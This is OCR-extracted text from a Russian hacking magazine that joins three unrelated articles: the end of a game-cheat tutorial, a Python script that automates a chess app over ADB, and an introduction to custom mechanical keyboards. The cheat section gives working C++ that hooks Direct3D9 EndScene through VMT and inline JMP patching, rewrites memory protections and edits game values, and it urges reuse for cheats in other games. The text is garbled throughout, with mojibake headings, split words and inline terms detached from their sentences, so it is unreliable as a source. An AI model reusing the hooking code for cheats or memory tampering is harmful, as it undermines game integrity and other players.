     directx_hook::hook_ready = true;
}

// Заменить присвоением
// Как только наш хук будет установлен

   void directx_hook::add_callback(_callback_run cb) {
    if (!directx_hook::hook_ready)

         callback_run = cb;
}

// Обертка для отрисовки текста
       
   

void directx_hook::draw_text(uint32_t x, uint32_t y, D3DCOLOR color,
const char* text) {
    RECT rect;

       rect.left = x + 1;
       rect.top = y + 1;
       rect.right = rect.left + 1000;
       rect.bottom = rect.top + 1000;

        this->font->DrawTextA(NULL, text, -1, &rect, 0, color);
}

   uint32_t directx_hook::init_hook_callback(LPDIRECT3DDEVICE9 device) {

     directx_hook::hooked_device = device;

       while (directx_hook::orig_endscene_code == NULL) {}

    unhook_jmp(directx_hook::endscene_addr, orig_endscene_code);

         
   

    

D3DXCreateFont(directx_hook::hooked_device, 15, 0, FW_BOLD, 1, 0,
DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, ANTIALIASED_QUALITY,
DEFAULT_PITCH | FF_DONTCARE, L"Arial", &this->font);

   this->set_hooks();

     directx_hook::hook_ready_pre = true;

    return directx_hook::endscene_addr;
}

   
 

HRESULT WINAPI directx_hook::endscene_hook_callback(LPDIRECT3DDEVICE9
pDevice) {
    HRESULT result;

   callback_run(this);

     result = orig_endscene(pDevice);
   this->set_hooks();
    return result;
}

  void directx_hook::set_hooks() {
    uint32_t ret;
   // Устанавливаем хук
       ret = hook_vf((uint32_t)directx_hook::hooked_device, 42, (
uint32_t)&my_endscene);
       if (ret != (uint32_t)&my_endscene) {

         *(uint32_t*)&directx_hook::orig_endscene = ret;
   }
}

  uint32_t directx_hook::locate_endscene() {
    LPDIRECT3D9 pD3D;
    D3DPRESENT_PARAMETERS d3dpp;
    LPDIRECT3DDEVICE9 pd3dDevice;
    uint32_t endscene_addr;

   // Cоздаем временный объект D3D9 и проходимся по виртуальной 
таблице, чтобы получить адрес метода EndScene

     pD3D = Direct3DCreate9(D3D_SDK_VERSION);

     if (!pD3D) {
        return 0;

   }

    ZeroMemory(&d3dpp, sizeof(d3dpp));
     d3dpp.Windowed = TRUE;
     d3dpp.SwapEffect = D3DSWAPEFFECT_DISCARD;
     d3dpp.hDeviceWindow = GetForegroundWindow();

       
  

  

HRESULT result = pD3D->CreateDevice(D3DADAPTER_DEFAULT,
D3DDEVTYPE_HAL, d3dpp.hDeviceWindow,
D3DCREATE_SOFTWARE_VERTEXPROCESSING, &d3dpp, &pd3dDevice);

       if (FAILED(result) || !pd3dDevice) {
       pD3D->Release();

        return 0;
   }

   // Получаем адрес, который хранится в rdata
      endscene_addr = get_vf((uint32_t)pd3dDevice, 42);

   // Очищаем
   pD3D->Release();
   pd3dDevice->Release();

    return endscene_addr;
}

Ìîäóëü îáðàòíûõ âûçîâîâ

Это модуль, в котором реали зова на фун кция  —
, a так же фун кции , на которую хук

передаст управле ние. Она, в свою оче редь, запус тит фун кцию
 для уста нов ки хука. А фун кция  вызовет

фун кцию , которая отве чает за запуск фун кции .

inline hook
endscene_trampoline init_endscene

init_hook_callback my_endscene
endscene_hook_callback run

#include "directx_hook.h"

    DWORD WINAPI init_endscene(LPDIRECT3DDEVICE9 device_addr) {
    return directx_hook::get_instance()->init_hook_callback(
device_addr);
}

    HRESULT WINAPI my_endscene(LPDIRECT3DDEVICE9 pDevice) {
    return directx_hook::get_instance()->endscene_hook_callback(
pDevice);
}

// Наш inline hook
   __declspec(naked) void endscene_trampoline() {

    __asm {
             MOV EAX, DWORD PTR SS:[ESP + 0x4]
        PUSH EAX
        CALL init_endscene

        JMP EAX
   }
}

Ìîäóëü ðàáîòû ñ ïàìÿòüþ

Фун кция  воз вра щает ука затель на интерфейс ,
который содер жит таб лицу вир туаль ных фун кций (далее VMT). Сре ди них
по индексу 42 рас полага ется нуж ная нам фун кция . Поэто му

напишем нес коль ко фун кций, которые поз волят получить VMT, а так же писать,
читать и изме нять пра ва дос тупа памяти. Более под робно о таб лице вир- 
туаль ных фун кций рас ска зано .

Direct3DCreate9 IDirect3D9

EndScene

в Википе дии

#pragma once
#include <windows.h>
#include <stdint.h>

// Чтение из памяти
 template<typename T>

   T read_memory(uint32_t address) {
    return *((T*)address);
}

// Запись в память
 template<typename T>

     void write_memory(uint32_t address, T value) {
     *((T*)address) = value;
}

 template<typename T>
     uint32_t protect_memory(uint32_t address, uint32_t prot) {

    DWORD old_prot;
      VirtualProtect((LPVOID)address, sizeof(T), prot, &old_prot);
    return old_prot;
}

// Получение адреса EndScene в VMT
     uint32_t get_vf(uint32_t class_inst, uint32_t func_idx) {

    uint32_t vf_table;
    uint32_t hook_addr;

     vf_table = read_memory<uint32_t>(class_inst);
         hook_addr = vf_table + func_idx * sizeof(uint32_t);
    return read_memory<uint32_t>(hook_addr);
}

// Получение адреса EndScene из VMT
      
 

uint32_t hook_vf(uint32_t class_inst, uint32_t func_idx, uint32_t
new_func) {
    uint32_t vf_table;
    uint32_t hook_addr;
    uint32_t old_prot;
    uint32_t orig_func;

     vf_table = read_memory<uint32_t>(class_inst);
         hook_addr = vf_table + func_idx * sizeof(uint32_t);

      old_prot = protect_memory<uint32_t>(hook_addr, PAGE_READWRITE);
     orig_func = read_memory<uint32_t>(hook_addr);
    write_memory<uint32_t>(hook_addr, new_func);
    protect_memory<uint32_t>(hook_addr, old_prot);

    return orig_func;
}

// Установка хука
      unsigned char* hook_jmp(uint32_t hook, uint32_t new_func) {

    uint32_t new_offest;
    uint32_t old_prot;
       uint8_t* originals = new uint8_t[5];

   // Вычисляем смещение до нашего inline hook
         new_offest = new_func - hook - 5;

   // Чтобы не произошло краша, так как все виртуальные функции
   // хранятся в rdata, изменяем права доступа по адресу функции
      old_prot = protect_memory<uint8_t[5]>(hook,
PAGE_EXECUTE_READWRITE);

   // Сохраняем оригинальный адрес
            for (uint8_t i = 0; i < 5; i++) {

           originals[i] = read_memory<uint8_t>(hook + i);
   }

   // Перезаписываем нашим кодом
    write_memory<uint8_t>(hook, 0xE9);
      write_memory<uint32_t>(hook + 1, new_offest);

   // Восстанавливаем прежние права
      protect_memory<uint8_t[5]>(hook + 1, old_prot);
    return originals;
}

// Снимаем хук
     void unhook_jmp(uint32_t hook, uint8_t* originals) {

    uint32_t old_prot;

   // Чтобы не произошло краша, изменяем права доступа по адресу 
функции
      old_prot = protect_memory<uint8_t[5]>(hook,
PAGE_EXECUTE_READWRITE);

   // Записываем прежний адрес
             for (unsigned int i = 0; i < 5; i++) {

          write_memory<uint8_t>(hook + i, originals[i]);
   }

   // Восстанавливаем прежние права
      protect_memory<uint8_t[5]>(hook + 1, old_prot);

    delete[] originals;
}

ÏÐÎÂÅÐÊÀ ÐÀÁÎÒÎÑÏÎÑÎÁÍÎÑÒÈ

За пус каем наш чит, получа ем урон, тра тим боеза пас, нажима ем F1-
F2 и видим, как зна чения hp и ammo ста новят ся мак сималь ными. Зна чит, чит
работа ет!

Про вер ка работос пособ ности

ÂÛÂÎÄÛ

С помощью Cheat Engine мы научи лись искать фак тичес кое зна чение той
перемен ной, которую мы хотим модифи циро вать. Затем с помощью отладчи- 
ка мы наш ли ста тичес кие адре са для зна чений, опре делен ных с помощью CE,
при этом разоб рались, как работа ет игро вой дви жок. Нап ример, есть общая
фун кция для получе ния зна чений игро ка, таких как hp и ammo, есть общая
фун кция для записи изме нений этих зна чений. С эти ми зна ниями поиск дру- 
гих зна чений будет гораз до про ще и быс трее. А написан ный нами код мож но
исполь зовать как осно ву, базу для читов к дру гим играм.

WWW

Нес коль ко полез ных ссы лок по теме взло ма игр
и написа нию читов:
•github.com/dsasmblr/game-hacking
•github.com/dsasmblr/hacking-online-games

https://docs.microsoft.com/en-us/windows/win32/api/d3d9/nf-d3d9-idirect3ddevice9-endscene
https://www.unknowncheats.me/forum/general-programming-and-reversing/154643-different-ways-hooking.html
https://ru.wikipedia.org/wiki/%D0%A2%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D0%B0_%D0%B2%D0%B8%D1%80%D1%82%D1%83%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D1%85_%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%D0%BE%D0%B2
https://github.com/dsasmblr/game-hacking
https://github.com/dsasmblr/hacking-online-games
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КОДИНГ

Од нажды мне понадо билось, что бы одноплат ник Raspberry
Pi при заг рузке перево дил под клю чен ный к нему телефон
в режим USB-tethering. На помощь при шел  —
интерфейс отладки Android-устрой ств. Сущес тву ет нес коль- 
ко спо собов авто мати зиро вать работу при ложе ний
на Android-смар тфо не с помощью это го интерфей са, и в
статье мы рас смот рим один из них.

ADB

За дачу мне уда лось решить так: с помощью ADB получи лось открыть вер хнюю
штор ку и через меню нас тро ек выб рать нуж ный режим. Пос ле чего скрипт,
выпол няющий эту пос ледова тель ность дей ствий, был помещен в 

 и стар товал при заг рузке мик рокомпь юте ра. Мож но ли похожим обра- 

зом авто мати зиро вать дру гие про цес сы на Android-смар тфо не? Конеч но!

/etc/rc.
local

В кон це 2021 года в Дубае про ходил матч за зва ние чем пиона мира
по шах матам. Инте рес к это му событию в Рос сии был подог рет тем, что про- 
тив дей ству юще го чем пиона мира — Маг нуса Кар лсе на — выс тупал рос- 
сиянин Ян Непом нящий. Мы с при яте лем сле дили за ходом тур нира и даже
решили сыг рать в тан деме про тив Маг нуса. Но пос коль ку сам он был занят
чем пиона том, то приш лось сра жать ся с его элек трон ным кло ном — прог- 
раммой  для Android.Play Magnus

Уро вень слож ности в прог рамме зада ется воз растом Маг нуса Кар лсе на.
Мас терс тво про фес сиональ ных шах матис тов поража ет: дой ти до уров- 
ня 13 лет — воз раста, в котором Маг нус стал одним из самых молодых грос- 
смей сте ров мира, — нам так и не уда лось. Так же впе чат ляет спо соб ность
шах матис тов играть, не гля дя на дос ку. Рекорд при над лежит Тимуру Гаре еву:
одновре мен ная игра на 48 дос ках всле пую! Мой при ятель Женя тоже решил
поп ракти ковать этот уди витель ный навык. А у меня соз рел план помочь ему
в этом: написать скрипт — обер тку для шах матно го при ложе ния.

Ло гика работы скрип та прос та: вво дишь на кла виату ре компь юте ра свой
ход, нап ример 'e2e4', и прог рамма через ADB выпол няет необ ходимую
для это го пос ледова тель ность нажатий (тапов) на телефо не. Затем вся исто- 
рия игры копиру ется в буфер обме на смар тфо на, отку да попада ет на компь- 
ютер. На экран выводит ся пос ледний ход — ответ шах матной прог раммы.
Для луч шего понима ния матери ала статьи можешь , что получи- 
лось в ито ге.

пос мотреть

Скрин шот при ложе ния Play Magnus

ÏÐÎ ADB

 (Android Debug Bridge) — это инс тру мент для отладки устрой ств на базе
ОС Android. Его воз можнос ти доволь но обширны: мож но переме щать фай лы
с компь юте ра на телефон и обратно. Для это го слу жат коман ды 

 и .

ADB

adb push 
filename adb pull filename

Что бы уста новить или уда лить при ложе ние, дос таточ но ввес ти 
 или . А для под клю- 

чения к коман дной обо лоч ке телефо на исполь зуй . ADB поз воля ет

делать еще мно го чего. Но глав ное для нас — с его помощью мож но ими- 
тиро вать работу с тачс кри ном телефо на (делать тапы и свай пы). Если ты
ни разу не исполь зовал ADB, то самое вре мя поп робовать! Тем более
«Хакер» уже под робно  на эту тему.

adb 
install program.apk adb uninstall <имя пакета>

adb shell

пи сал
Пе ред пер вым исполь зовани ем нуж но вклю чить отладку по USB. Для это го

откры вай «Нас трой ки» и перехо ди в раз дел «Сис тема», а затем «О телефо- 
не». Здесь ищи пункт «Номер сбор ки» и кли кай по нему нес коль ко раз. Пос ле
этих дей ствий в раз деле «Сис тема» появит ся допол нитель ный пункт «Для раз- 
работ чиков». Заходи туда, ищи и акти вируй пункт «Отладка по USB».

Пос ле вклю чения ADB в телефо не нуж но будет уста новить ADB-сер вер
на компь юте ре. Если ты поль зователь Linux, то для это го дос таточ но ввес ти
в кон соли коман ду . Если же на тво ем ком пе уста нов- 

лена Windows, то при дет ся ска чать  с ути лита ми. Рас пакуй его в удоб ное
мес то, нап ример . Пос ле чего откры вай коман дную стро- 
ку (нажимай Win + R и вво ди ) и перехо ди в пап ку с ути литой ADB, вве дя

коман ду .

sudo apt install adb
ар хив

C:\platform-tools
cmd

cd C:\platform-tools
Те перь можешь под клю чать телефон к компь юте ру по USB-кабелю. Воз- 

можно, тебе понадо бит ся перевес ти его из режима «Заряд ка» в режим
«Переда ча фай лов». Пос ле чего в коман дной стро ке набери .

При пер вом под клю чении на телефо не дол жен появить ся зап рос на раз- 
решение отладки с нового устрой ства. Отметь галоч кой «Всег да раз решать
отладку с это го компь юте ра» и жми OK.

adb devices

Мо жешь про дол жить поль зовать ся ADB через USB-кабель, но такой спо- 
соб не всег да удо бен. Что бы перек лючить телефон на работу по сети, нуж но
ввес ти коман ду . Здесь  — TCP-порт, на котором служ ба

ADB будет ожи дать под клю чения от ПК. Пос ле чего про вод мож но отсо еди- 
нить, а на компь юте ре ввес ти коман ду .
В резуль тате все коман ды ADB будут работать так же, как если бы телефон
был под клю чен по кабелю. Дан ная нас трой ка сох раня ется до перезаг рузки
телефо на. Одна ко теперь нуж но быть бди тель ным, что бы слу чай но не пре- 
дос тавить дос туп к телефо ну зло умыш ленни ку. Если к телефо ну под клю чит ся
нез накомое устрой ство, он покажет сооб щение об этом. Отоз вать выдан ные
раз решения мож но в раз деле «Для раз работ чиков» рядом с тем пун ктом, где
ты раз решал отладку по USB. Перек лючит обратно на работу по про воду
коман да .

adb tcpip 5555 5555

adb connect <IP-адрес телефона>

adb usb

ÏÈØÅÌ ÊÎÄ

Прог рамми ровать будем на Python 3. Преж де все го импорти руем необ- 
ходимые модули и зададим путь к ути лите ADB в сис теме.

#!/usr/bin/env python3

 import os
 import sys
 import time

    from subprocess import Popen, PIPE

    ADB = 'adb' # 'C:\platform-tools\adb.exe' для Windows

На пишем фун кцию .help

 def help():
 print(f'Usage: {sys.argv[0]} [-b | --black] [-h | --help]\n')
 print(f'  -b, --black: play with black pieces, by default you play 
with white')
 print(f'  -h, --help:  show this help and exit\n')

Ос новную логику работы реали зуем в клас се . Зададим парамет ры
, , ,  — коор динаты x и y левого вер хне- 

го и пра вого ниж него края дос ки соот ветс твен но. Кон стан ты 

и  — положе ние кно пок для откры тия и зак рытия меню. Кон стан ты
,  и  — коор динаты кноп ки сох ранения пар- 

тии, кно пок OK и отме ны пос ледне го хода соот ветс твен но (см. рисунок).
 — мас сив с коор дината ми кно пок для выбора фигур вза мен пеш ки, ког- 

да она ходит на пос леднюю горизон таль.

Screen
board_x0 board_y0 board_x1 board_y1

menu
close_menu

save_game ok_button back_button

Pawn

Пос коль ку коор динаты боль шинс тва эле мен тов зависят от раз решения
экра на, то их при дет ся опре делять для каж дого устрой ства инди виду аль но.
Делать это удоб но, если акти виро вать пункт «Отоб ражать касания» в раз деле
нас тро ек «Для раз работ чиков». Вве дем перемен ную , где будем хра нить

ход игры. А так же зададим  — задер жку меж ду тапами по экра ну

и  — паузу пос ле каж дого хода. Ее необ ходимо уста новить такой,
что бы прог рамма успе вала делать ответный ход.

game
TAP_SLEEP

MOVE_SLEEP

 class Screen:
   board_x0 = 0
   board_y0 = 412
   board_x1 = 1080
   board_y1 = 1492
    menu = 1000, 70
    close_menu = 80, 70
    save_game = 550, 580
    ok_button = 545, 1115
    back_button = 860, 1870
      pawn = [(450, 830), (450, 1020),
    (450, 1200), (450, 1380)]
   game = ''
   TAP_SLEEP = 0.2
   MOVE_SLEEP = 3

Вид прог раммы при вызове меню. Акти виро ван ная фун кция «Отоб ражать
касания» показы вает коор динаты касаний в стро ке навер ху

Вид прог раммы при сох ранении пар тии

Вид прог раммы при выборе фигуры вза мен пеш ки

При нажатии кноп ки «Сох ранить пар тию» все сде лан ные с начала игры ходы
записы вают ся в буфер обме на в спе циаль ной шах матной нотации .
Но проб лема в том, что ADB не уме ет работать с буфером обме на. Решить
проб лему поможет при ложе ние , которое поз воля ет читать из буфера
и писать в него пос редс твом широко веща тель ных сооб щений (

). Код при ложе ния открыт. Но не пережи вай, ком пилиро вать его
под Android не при дет ся. Раз работ чики позабо тились о том, что бы в репози-
тории был готовый . Для его уста нов ки перей ди в пап ку со ска чан- 
ным фай лом прог раммы и вве ди коман ду .

PGN

Clipper
broadcast

intents

apk-файл
adb install clipper.apk

На пишем фун кцию , в которой запус тим при ложе ние Clipper,

а так же вычис лим раз мер одной клет ки игро вого поля, исполь зуя недав но
задан ные кон стан ты.

__init__()

 def __init__(self):
   cmd = f'{ADB} shell am startservice ca.zgrs.clipper/.
ClipboardService &>/dev/null'
   p = Popen(cmd.split())
     self.field_size = (self.board_x1 - self.board_x0)/8

Так же опре делим фун кцию , которая будет при нимать коор- 

динаты x и y и ими тиро вать нажатие на экран телефо на в этом мес те.

_tap_screen()

   def _tap_screen(self, x, y):
 os.system(f'{ADB} shell input tap {x} {y}')
 time.sleep(self.TAP_SLEEP)

Для удобс тва соз дадим еще одну фун кцию , которая отли чает- 

ся от  толь ко тем, что коор динаты x и y будут отсчи тывать ся

отно ситель но дос ки, а не экра на. За ноль при этом выберем левый ниж ний
угол игро вого поля.

_tap_board()
_tap_screen()

   def _tap_board(self, x, y):
   x += self.board_x0
     y = self.board_y1 - y
 os.system(f'{ADB} shell input tap {x} {y}')
 time.sleep(self.TAP_SLEEP)

Для копиро вания хода игры в буфер обме на слу жит фун кция .

Она ими тиру ет нажатия в нуж ных мес тах экра на. Дан ные из буфера получим,
обра тив шись к при ложе нию Clipper коман дой 

. В выводе этой коман ды инте ресу ющие нас дан ные содер жатся

в поле .

_copy_game()

adb shell am broadcast -a 
clipper.get

data

 def _copy_game(self):
 self._tap_screen(*self.menu)
 self._tap_screen(*self.save_game)
 self._tap_screen(*self.ok_button)
 self._tap_screen(*self.close_menu)
   cmd = f'{ADB} shell am broadcast -a clipper.get'
     p = Popen(cmd.split(), stdin=PIPE, stdout=PIPE)
   out = p.stdout.read().decode('utf-8')
   out = out.split('data=')[1]
   out = out[1:-2]
  return out

Что бы делать ходы, напишем фун кцию , которая будет при нимать
на вход стро ку вида 'e2e4' в любом регис тре. Если вмес то хода будет переда- 
на стро ка 'back', то прог рамма отме нит пос ледний сде лан ный ход. Для вычис- 
ления коор динат нуж ной нам клет ки на дос ке вос поль зуем ся стро ковым
методом . Он оты щет в стро ке  (или ) бук ву (или циф- 

ру) нашего хода и вер нет соот ветс тву ющий индекс.

move()

find abcdefgh 12345678

Имен но на столь ко кле ток нуж но будет отсту пить от начала дос ки, что бы
тап нуть по нуж ному нам полю. В слу чае игры чер ными фигура ми порядок букв

, как и цифр , сле дует поменять на обратный, так как ори- 

ента ция дос ки в при ложе нии изме нит ся. Если пеш ка ходит на пос леднюю
горизон таль, то допол нитель ная бук ва опре делит фигуру, ее заменя ющую.
Нап ример, если сде лать ход , то пеш ка будет замене на ладь ей (rook).

abcdefgh 12345678

a7a8r

  def move(self, mov):
   mov = mov.lower()
    if mov == 'back':
   self._tap_screen(*self.back_button)
   time.sleep(self.MOVE_SLEEP/2)
   return
   c = 'abcdefgh'
   n = '12345678'
   p = 'qrbn'
  if is_black:
     c = c[::-1]
     n = n[::-1]
       start_pos_x = int(c.find(mov[0]) * self.field_size + self.
field_size/2)
       start_pos_y = int(n.find(mov[1]) * self.field_size + self.
field_size/2)
         end_pos_x = int(c.find(mov[2]) * self.field_size + self.
field_size/2)
         end_pos_y = int(n.find(mov[3]) * self.field_size + self.
field_size/2)
  self._tap_board(start_pos_x, start_pos_y)
  self._tap_board(end_pos_x, end_pos_y)
  if mov[4:]:
   self._tap_screen(*self.pawn[p.find(mov[4])])
 time.sleep(self.MOVE_SLEEP)

Ос талось написать фун кцию , получа ющую ответ Маг нуса. Сто ит

пре дус мотреть слу чай, ког да исто рия ходов не изме нилась пос ле оче ред ного
хода игро ка. Это говорит о том, что был сде лан некор рек тный ход. Это впол не
воз можно при игре всле пую. В таком слу чае игро ку будет показа но сооб- 
щение 'ILLEGAL MOVE!'. Если ход был сде лан вер но, то в перемен ную 
запишем пос ледний ход в игре — ответ шах матной прог раммы. Перемен ная

 содер жит резуль тат игры. Пока игра не завер шена, там будет сим вол ,

как это опре деле но в PGN. В кон це игры в  ока жут ся начис ленные игро- 
кам очки.

answer()

answer

state *
state

 def answer(self):
   new_game = self._copy_game()
    if new_game == self.game:
     answer = 'illegal move!'.upper()
      state = self.game.split()[-1]
 else:
      answer, state = new_game.split()[-2:]
   self.game = new_game
   return answer, state

Класс  готов. Прис тупим к написа нию основно го цик ла прог раммы.

Будем выводить , если был задан параметр  коман дной стро ки. А так- 

же уста нав ливать флаг , отве чающий за цвет фигур игро ка,

в зависи мос ти от наличия или отсутс твия парамет ра . Далее соз дадим
экзем пляр  клас са  и запус тим бес конеч ный цикл ходов — отве тов

до тех пор, пока игра не закон чится. Кри тери ем кон ца игры будет отсутс твие
сим вола  в перемен ной . Кро ме того, в слу чае игры чер ными фигура ми
пред варитель но нуж но счи тать пер вый ход белых. Закон чить игру в любой
момент мож но, нажав Ctrl + C.

Screen
help -h

is_black
-b

s Screen

* state

   if __name__ == '__main__':
    if len(sys.argv) < 2:
     is_black = False
 else:
       if sys.argv[1] in ['-h', '--help']:
     help()
     sys.exit()
       is_black = '-b' in sys.argv[1]
  if is_black:
   print('You play for black')
 else:
   print('You play for white')

   s = Screen()
  if is_black:
      answer, state = s.answer()
   print(f"Magnus' move: {answer}")

  while True:
   try:

       move = input('Your move: ')
     s.move(move)

        if move != 'back':
          answer, state = s.answer()

          if '*' in state:
         print(f"Magnus' move: {answer}")
       else:
         print(f"Last move: {answer}")
         print(f"Result: {state}")
         break
    except KeyboardInterrupt:
     print()
     sys.exit()

На этом все. Перед запус ком скрип та не забудь убе дить ся, что в выводи мом
коман дой  спис ке есть твой телефон.adb devices

Çàêëþ÷åíèå

Ду маю, ты обра тил вни мание, что, отправ ляя коман ды в телефон, мы никак
не кон тро лиро вали кор рек тность их исполне ния. Тоже сво его рода «игра
всле пую». Это, конеч но, сущес твен ный недос таток такого под хода к управле-
нию устрой ством.

При желании мож но допол нить алго ритм работы обратной связью, нап- 
ример получая скрин шот экра на с помощью команд

adb shell screencap /sdcard/screen.png 
adb pull /sdcard/screen.png 

Так же сто ит отме тить, что ADB-сер вер мож но уста новить на сам Android
и управлять телефо ном с дру гого телефо на либо даже с него самого.
Для это го вос поль зуйся Termux — эму лято ром тер минала для Android. О нем
я недав но опуб ликовал  в «Хакере». Код прог раммы я выложил
на . Можешь сме ло брать его за осно ву для соз дания собс твен ных
скрип тов. Желаю уда чи!

статью
GitHub
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МЕХАНИЧЕСКАЯ

КЛАВА
КАК, ЗАЧЕМ И ИЗ ЧЕГО
СОБИРАТЬ СВОЮ КЛАВИАТУРУ

Артём ЛебовскиАртём Лебовски
Мое хобби — сборка кастомных клавиатур. ЕслиМое хобби — сборка кастомных клавиатур. Если

тебе интересна эта тема и есть вопросы,тебе интересна эта тема и есть вопросы,
обращайся в мою группу ВКобращайся в мою группу ВК

(https://vk.com/cstmmade) или пиши мне лично(https://vk.com/cstmmade) или пиши мне лично
https://vk.com/askenthttps://vk.com/askent

GEEK

При вет, с вами Артем Лебов ски. Уже мно го лет я собираю
механи чес кие кла виату ры и сегод ня хочу рас ска зать об этом
хоб би. Мы погово рим об устрой стве механи чес ких кла- 
виатур, изу чим их рынок и узна ем, чем отли чают ся кла вы
раз ных ценовых сег ментов. Обсу дим, чем масс-мар кет хуже
кас томов, какие быва ют моды и зачем они нуж ны. Как и
в любой дру гой области, здесь есть мно го нюан сов. Эта
статья рас ширит твой кру гозор, а так же поможет опре- 
делить ся с выбором кла виату ры сво ей меч ты.

×ÒÎ ÒÀÊÎÅ ÊÀÑÒÎÌÍÛÅ ÊËÀÂÈÀÒÓÐÛ?

Кас томная кла виату ра — понятие отно ситель ное, каж дый вкла дыва ет в него
свой собс твен ный смысл. Мое мне ние на этот счет доволь но близ ко к обще- 
му мне нию боль шинс тва кла виатур ных гиков. Я называю кла виату ру кас- 
томной, если она соот ветс тву ет двум кри тери ям.

Пер вый — наличие в ней про шив ки QMK (Quantum Mechanical Keyboard).
Это ПО с откры тым исходным кодом, которое осно вано на опе раци онной
сис теме ChibiOS (мик роядер ная опе раци онная сис тема реаль ного вре мени).
QMK поз воля ет гиб ко прог рамми ровать кла виату ру, бла года ря чему в ней
под держи вают ся фун кции переназ начения кла виш, раз личные режимы под- 
свет ки, мак росы, управле ние кур сором мыши и дру гие инте рес ные вещи.
Но есть нюанс: QMK работа ет толь ко на ARM-кон трол лерах, нап ример Atmel,
STM32, ATmega32u4, но не работа ет с бес про вод ными тех нологи ями. То есть
подав ляющее боль шинс тво кас томов не уме ют под клю чать ся к ком пу
по Bluetooth.

Од нако сей час появи лось ПО ZMK, которое уже под держи вает бес про- 
вод ные модули и потихонь ку начина ет обре тать популяр ность. Мож но пос- 
мотреть исходни ки каж дой из про шивок и уви деть поч ти все про екты, где она
исполь зует ся. Это полез но, если ты решил занять ся кас томами всерь ез.
Для работы с про шив кой исполь зует ся спе циаль ный софт с гра фичес ким
интерфей сом, который поз воля ет прог рамми ровать кла виату ру без собс- 
твен но прог рамми рова ния: наз начать мак росы, реак цию на нажатия сочета- 
ний кла виш, про писы вать режимы работы фун кци ональ ных кно пок, управлять
под свет кой и так далее.

Для QMK это VIA и ее откры тый ана лог VIAL. VIA — не open source, но эта соф- 
тина под держи вает мно го раз личных кла виатур и про шивок. VIAL — с откры- 
тым исходным кодом, но она пока толь ко набира ет популяр ность и не под- 
держи вает мно гие кла виату ры, зато в ней реали зова но боль ше фун кций, чем
в VIA.

Вто рой кри терий кас томной кла виату ры — она соб рана из набора
деталей. Одна из основных ком плек тующих — это кор пус (он же осно ва
или база). Кор пус слу жит осно вани ем для кла виату ры, но быва ют кла виату ры
и без кор пусов. Вто рая важ ная деталь — пла та, которая обра баты вает
нажатия, это мозг кла виату ры. Плейт — это метал личес кая или неметал личес- 
кая плас тина, в которую вты кают ся перек лючате ли. Она дей ству ет как допол- 
нитель ный кре пеж, а еще вли яет на так тиль ность и на зву чание кла виату ры.
Некото рые кла виату ры быва ют plateless — перек лючате ли прос то при- 
паивают ся к пла те.

Еще в сос таве кла виату ры исполь зуют ся ста били зато ры — они нуж ны
для того, что бы про бел, Enter и осталь ные длин ные кноп ки не переко сились
при нажатии с краю. Наконец, перек лючате ли — это пру жин ные механиз мы,
которые поз воля ют тво им кно поч кам нажимать ся, а кла виату ре регис три- 
ровать нажатия. Перек лючате ли быва ют совер шенно раз ные, о них я рас ска- 
жу чуть поз же. Пос ледняя важ ная деталь — кей капы, они же кноп ки, их каса- 
ются твои паль цы. Кро ме того, над кас томны ми кла виату рами мож но про- 
водить раз личные манипу ляции и выпол нять модифи кации (моды), улуч- 
шающие либо меня ющие харак терис тики девай са.

Î ÖÅÍÎÂÛÕ ÑÅÃÌÅÍÒÀÕ

А теперь нем ного погово рим о ценовых сег ментах кас томных кла виатур.
Самый низ кий из них — это масс-мар кет с AliExpress. К таковым мож но
отнести кла виату ры брен дов Skylong, Akko, Keychron (точ нее, их QMK-вер- 
сии), YMDK и вся кое такое про чее. Что-то из перечис ленных мною брен дов
исполь зует QMK, что-то нет. Но в любом слу чае эти ребята про дают DIY-киты
для самос тоятель ной сбор ки кла виатур, и чаще все го ты получа ешь имен но
то, за что пла тишь. То есть кла виату ры, которые сто ят дешево, выг лядят
и ощу щают ся дешево. Но и из них порой мож но соб рать год ноту.

Сред ний ценовой сег мент — это уже пол ноцен ные кас томы серий ного
про изводс тва. Из них я выделяю Glorious с их успешной моделью 
(этот текст я пишу как раз на ней). К этой же катего рии мож но отнести целую
линей ку кла виатур брен да KBDfans: Tofu60, Tofu65, kbd75v3 и про чие. Их
доволь но мно го, и на этих осно вах собира ются отличные кла виату ры неп- 
лохого качес тва. Самое глав ное — их не нуж но ждать до сво ей ста рос ти,
об этом читай далее.

GMMK PRO

К топ-сег менту отно сят ся так называ емые груп пбай ные кла виату ры. Что
такое «груп пбай»? По боль шому сче ту это кра удфандинг, схе ма, по которой
малый биз нес или инже нер-оди ноч ка могут выпус тить пар тию сво его про дук- 
та в про дажу. Раз работ чик соз дает макет (это может быть 3D-рен дер или уже
готовый про тотип) и пуб лику ет его на форуме  (это все мир но извес- 
тный форум, на котором мож но встре тить кас томы самых при чуд ливых видов,
он же исполь зует ся в качес тве пло щад ки для про веде ния груп пба ев). Затем
раз работ чик про водит Interest Check — голосо вание с целью узнать, сколь ко
реаль ных людей готовы пот ратить день ги на его тво рение. Обыч но цена
колеб лется в рай оне 500 дол ларов, но быва ет как ниже, так и силь но выше.
Пос ле того как про вер ка инте реса успешно прой дена, раз работ чик откры вает
сам груп пбай — то есть при нима ет день ги от потен циаль ных покупа телей
в течение месяца. Люди выбира ют, из какого матери ала будет изго тов лена
осно ва кла виату ры, какова будет рас цвет ка, и опре деля ют мно гие дру гие
опции. Спус тя при мер но трид цать дней груп пбай зак рыва ется, и часть соб- 
ранных денег отправ ляет ся на про изводс тво, где изго тав лива ется тираж кла- 
виатур, рав ный количес тву всту пив ших в груп пбай людей. Иног да кла виатур
про изво дят боль ше и потом рас про дают как рес ток по той же цене, а иног- 
да — дороже. У некото рых  есть даже свои собс твен ные
стан ки и про изводс тва.

Geekhack

осо бо кру тых чуваков

Пло щадок для про веде ния груп пба ев мно го. Обыч но пос ле завер шения
Interest Check раз работ чик откры вает груп пбай на каком-то одном или сра зу
на нес коль ких сай тах (либо на сво ем собс твен ном — орга низа тором груп- 
пбая может быть круп ная ком пания). Мно гие ресур сы в интерне те пре дос- 
тавля ют пло щад ки для таких покупок. Пред полагаю, что на нес коль ких раз- 
мещать пред ложения выгод нее, так как там боль ше ауди тория бла года ря
решению проб лем с дис три буци ей заказов. Нап ример, в нашу стра ну не все
пло щад ки возят заказы нап рямую, поэто му при ходит ся исполь зовать сер висы
дос тавки из-за рубежа вро де Shopfans.

